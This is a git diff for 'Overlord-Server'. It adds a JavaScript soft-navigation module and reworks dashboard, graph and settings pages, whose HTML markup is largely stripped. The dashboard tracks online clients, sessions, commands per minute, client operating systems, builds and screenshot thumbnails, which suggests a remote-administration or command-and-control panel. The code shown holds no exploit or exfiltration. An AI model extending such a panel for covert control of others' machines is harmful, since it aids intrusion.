+ if (pageTrackingEnabled) tracked.sockets.add(socket);
+ return socket;
+ };
+ window.WebSocket.prototype = original.WebSocket.prototype;
+ Object.defineProperty(window.WebSocket, "CONNECTING", { value: original.WebSocket.CONNECTING });
+ Object.defineProperty(window.WebSocket, "OPEN", { value: original.WebSocket.OPEN });
+ Object.defineProperty(window.WebSocket, "CLOSING", { value: original.WebSocket.CLOSING });
+ Object.defineProperty(window.WebSocket, "CLOSED", { value: original.WebSocket.CLOSED });
+ }
+
+ if (typeof original.Worker === "function") {
+ window.Worker = function (...args) {
+ const worker = new original.Worker(...args);
+ if (pageTrackingEnabled) tracked.workers.add(worker);
+ return worker;
+ };
+ window.Worker.prototype = original.Worker.prototype;
+ }
+}
+
+function mergeHead(nextDoc, baseUrl) {
+ document.title = nextDoc.title || document.title;
+
+ const currentHtmlClasses = Array.from(document.documentElement.classList).filter((name) => (
+ name.startsWith("nav-pre") || name === "dark"
+ ));
+ document.documentElement.className = nextDoc.documentElement.className || "";
+ currentHtmlClasses.forEach((name) => document.documentElement.classList.add(name));
+
+ nextDoc.head.querySelectorAll("link").forEach((link) => {
+ const href = link.getAttribute("href");
+ const rel = link.getAttribute("rel") || "";
+ if (!href) return;
+ const normalized = normalizeUrl(href, baseUrl);
+ const exists = Array.from(document.head.querySelectorAll("link")).some((existing) => (
+ (existing.getAttribute("rel") || "") === rel
+ && normalizeUrl(existing.getAttribute("href") || "") === normalized
+ ));
+ if (!exists) {
+ const clone = link.cloneNode(true);
+ clone.setAttribute("href", normalized);
+ document.head.appendChild(clone);
+ }
+ });
+
+ nextDoc.head.querySelectorAll("style").forEach((style) => {
+ const text = style.textContent || "";
+ const exists = Array.from(document.head.querySelectorAll("style[data-soft-nav-style]"))
+ .some((existing) => existing.textContent === text);
+ if (!exists) {
+ const clone = style.cloneNode(true);
+ clone.dataset.softNavStyle = "true";
+ document.head.appendChild(clone);
+ }
+ });
+}
+
+function replaceBody(nextDoc) {
+ const preserved = Array.from(document.body.children).filter(isPersistentNode);
+ const nav = document.getElementById("top-nav");
+ const anchor = document.getElementById("cert-trust-banner")
+ || document.getElementById("sb-mobile-bar")
+ || nav;
+ const preservedClasses = Array.from(document.body.classList).filter((name) => (
+ name.startsWith("sb-") || name === "nav-hidden"
+ ));
+
+ Array.from(document.body.children).forEach((node) => {
+ if (!preserved.includes(node)) node.remove();
+ });
+
+ document.body.className = nextDoc.body.className || "";
+ preservedClasses.forEach((name) => document.body.classList.add(name));
+
+ let insertAfter = anchor;
+ Array.from(nextDoc.body.children).forEach((node) => {
+ if (node.matches?.("script") || node.id === "top-nav") return;
+ const clone = document.importNode(node, true);
+ if (insertAfter?.parentNode) {
+ insertAfter.parentNode.insertBefore(clone, insertAfter.nextSibling);
+ insertAfter = clone;
+ } else {
+ document.body.appendChild(clone);
+ insertAfter = clone;
+ }
+ });
+}
+
+function appendScript(script, baseUrl) {
+ if (shouldSkipScript(script)) return Promise.resolve();
+
+ const src = script.getAttribute("src");
+ const type = script.getAttribute("type") || "";
+ if (src && type !== "module") {
+ const normalized = normalizeUrl(src, baseUrl);
+ if (loadedClassicScripts.has(normalized)) return Promise.resolve();
+ loadedClassicScripts.add(normalized);
+ }
+
+ return new Promise((resolve, reject) => {
+ const next = document.createElement("script");
+ for (const { name, value } of script.attributes) {
+ if (name !== "src") next.setAttribute(name, value);
+ }
+ next.dataset.softNavScript = "true";
+ next.onload = () => resolve();
+ next.onerror = () => reject(new Error(`Failed to load ${src || "inline script"}`));
+
+ if (src) {
+ const url = new URL(src, baseUrl);
+ if (type === "module" && url.origin === window.location.origin) {
+ url.searchParams.set("softNav", String(navSeq));
+ }
+ next.src = url.href;
+ } else {
+ next.textContent = script.textContent || "";
+ }
+
+ document.body.appendChild(next);
+ if (!src) resolve();
+ });
+}
+
+async function runPageScripts(nextDoc, baseUrl) {
+ const scripts = Array.from(nextDoc.querySelectorAll("script"));
+ for (const script of scripts) {
+ await appendScript(script, baseUrl);
+ }
+}
+
+function refreshGlobalEnhancements() {
+ if (typeof window.addRippleEffect === "function") {
+ document
+ .querySelectorAll("button:not(.no-ripple), .button:not(.no-ripple)")
+ .forEach((button) => window.addRippleEffect(button));
+ }
+}
+
+function isSoftNavigationCandidate(url, link) {
+ if (url.origin !== window.location.origin) return false;
+ if (link?.target && link.target !== "_self") return false;
+ if (link?.hasAttribute("download")) return false;
+ if (url.pathname.startsWith("/api/")) return false;
+ if (url.pathname.includes(".")) return false;
+ if (url.pathname === window.location.pathname && url.search === window.location.search) return false;
+ return true;
+}
+
+export function setupSoftNavigation(host, { onPathChange } = {}) {
+ if (!host || host.dataset.softNavReady === "true") return;
+ host.dataset.softNavReady = "true";
+
+ async function navigateTo(href, { replace = false } = {}) {
+ const url = new URL(href, window.location.href);
+ if (!isSoftNavigationCandidate(url)) {
+ window.location.href = url.href;
+ return;
+ }
+
+ navSeq += 1;
+ document.body.classList.add("soft-nav-loading");
+
+ try {
+ const res = await fetch(url.href, { credentials: "include" });
+ if (!res.ok) throw new Error(`Navigation failed: ${res.status}`);
+ const html = await res.text();
+ const nextDoc = new DOMParser().parseFromString(html, "text/html");
+ if (!nextDoc.getElementById("top-nav")) {
+ window.location.href = url.href;
+ return;
+ }
+
+ cleanupTrackedResources();
+ mergeHead(nextDoc, url.href);
+ replaceBody(nextDoc);
+ window.scrollTo(0, 0);
+ if (replace) history.replaceState({}, "", url.href);
+ else history.pushState({}, "", url.href);
+ onPathChange?.(url.pathname);
+ await runPageScripts(nextDoc, url.href);
+ refreshGlobalEnhancements();
+ window.dispatchEvent(new CustomEvent("overlord:soft-nav", { detail: { path: url.pathname } }));
+ } catch (err) {
+ console.error("Soft navigation failed:", err);
+ window.location.href = url.href;
+ } finally {
+ document.body.classList.remove("soft-nav-loading");
+ }
+ }
+
+ host.addEventListener("click", (event) => {
+ const link = event.target?.closest?.("a[href]");
+ if (!link) return;
+ if (event.metaKey || event.ctrlKey || event.shiftKey || event.altKey || event.button !== 0) return;
+
+ const url = new URL(link.getAttribute("href"), window.location.href);
+ if (!isSoftNavigationCandidate(url, link)) return;
+
+ event.preventDefault();
+ navigateTo(url.href);
+ }, true);
+
+ window.addEventListener("popstate", () => {
+ navigateTo(window.location.href, { replace: true });
+ });
+
+ window.overlordSoftNavigate = navigateTo;
+}
diff --git a/Overlord-Server/public/graph.html b/Overlord-Server/public/graph.html
new file mode 100644
index 0000000..56a180f
--- /dev/null
+++ b/Overlord-Server/public/graph.html
@@ -0,0 +1,68 @@
+
+
+
+
+
+
+
+ Overlord Graph
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/Overlord-Server/public/index.html b/Overlord-Server/public/index.html
index cf9071b..33901cc 100644
--- a/Overlord-Server/public/index.html
+++ b/Overlord-Server/public/index.html
@@ -12,11 +12,13 @@
+
+
@@ -34,6 +36,18 @@
Server version: loading...
+
@@ -42,79 +56,89 @@
-
-
-
-
- Online
-
-
0
-
- 0 total
- 0%
-
-
-
-
-
- Sessions
-
-
0
-
-
0 cmd/min
-
0 errors
+
+
+
+
+
+ Online
+
+
0
+
+ 0 total
+ 0%
+
+
-
-
-
-
-
Past Week
-
Clients Online
+
+
+
+
+ Sessions
+
+
0
+
+ 0 cmd/min
+ 0 errors
+
-
Live
-
-
-
-
-
-
-
-
Fleet Mix
-
Operating Systems
+
+
+
+
+ Past Week
+ Clients Online
+
+
Live
+
+
+
+
-
None
-
-
-
-
-
-
-
-
Status
-
Server Pulse
+
+
+
+
+ Fleet Mix
+ Operating Systems
+
+
None
+
+
+
+
-
Waiting
-
-
-
- API
- Live
-
-
-
- Memory
- 0%
-
-
-
-
Ping Avg
-
-
+
+
+
+
+ Status
+ Server Pulse
+
+
Waiting
+
+
+
+
+ API
+ Live
+
+
+
+ Memory
+ 0%
+
+
+
+ Ping Avg
+ -
+
+
-
+
+
+
+
+
+ Network Throughput
+
+
+
+
+
+
+
+
+
+ HTTP Requests
+
+
+
+
+
+
+
+
+
+ HTTP Latency
+
+
+
+
+
+
+
+
+
+ Runtime Memory
+
+
+
+
+
+
+
+
+
+ Event Loop Lag
+
+
+
+
+
+
+
+
+
+
+
+
+ Slowest HTTP Routes
+
+
Sorted by p95 latency, last minute
+
+
+
+ No HTTP route samples yet
+
+
+
+
+
+
+
+
+
+ Session Mix
+
+
+
+
+
+
+
+
+
+ Operating Systems
+
+
+
+
+
+
+
@@ -181,36 +276,22 @@
-
+
-
- Ping Statistics
+
+ Clients by OS
-
-
- Average:
- -
-
-
- Min / Max:
- - /
- -
-
-
- Samples:
- 0
-
+
-
+
- HTTP & Event Loop
+ HTTP, Ping & Event Loop
@@ -222,10 +303,11 @@
0
- Latency avg/p95:
+ Latency avg/p95/p99:
0 /
- 0
+ 0 /
+ 0
@@ -239,17 +321,21 @@
Loop lag max:
0
-
-
-
-
-
-
-
- Clients by OS
-
-
-
No data
+
+ Ping avg:
+ -
+
+
+ Ping min/max:
+
+ - /
+ -
+
+
+
+ Ping samples:
+ 0
+
diff --git a/Overlord-Server/public/settings.html b/Overlord-Server/public/settings.html
index 4230b34..499c4f2 100644
--- a/Overlord-Server/public/settings.html
+++ b/Overlord-Server/public/settings.html
@@ -90,15 +90,16 @@
Wipe Offline Clients
Admin
-
Security Policy
-
Screenshot Thumbnails
-
TLS Certificates
-
Team Chat
-
Registration
-
Build Rate Limit
-
Custom CSS
-
Export / Import
-
Server Health
+
Access Overview
+
Security Policy
+
TLS Certificates
+
Team Chat
+
Registration
+
Screenshot Thumbnails
+
Build Rate Limit
+
Custom CSS
+
Export / Import
+
Server Health
@@ -552,8 +553,30 @@
-
-
+
+
+
+
+
+
+
+
Access Overview
+
Review your effective permissions and jump to user access management.
+
+
+
+
+
+ Manage Users
+
+
+
+ Client access rules are edited from a selected user in Manage Users.
+
+
+
+
+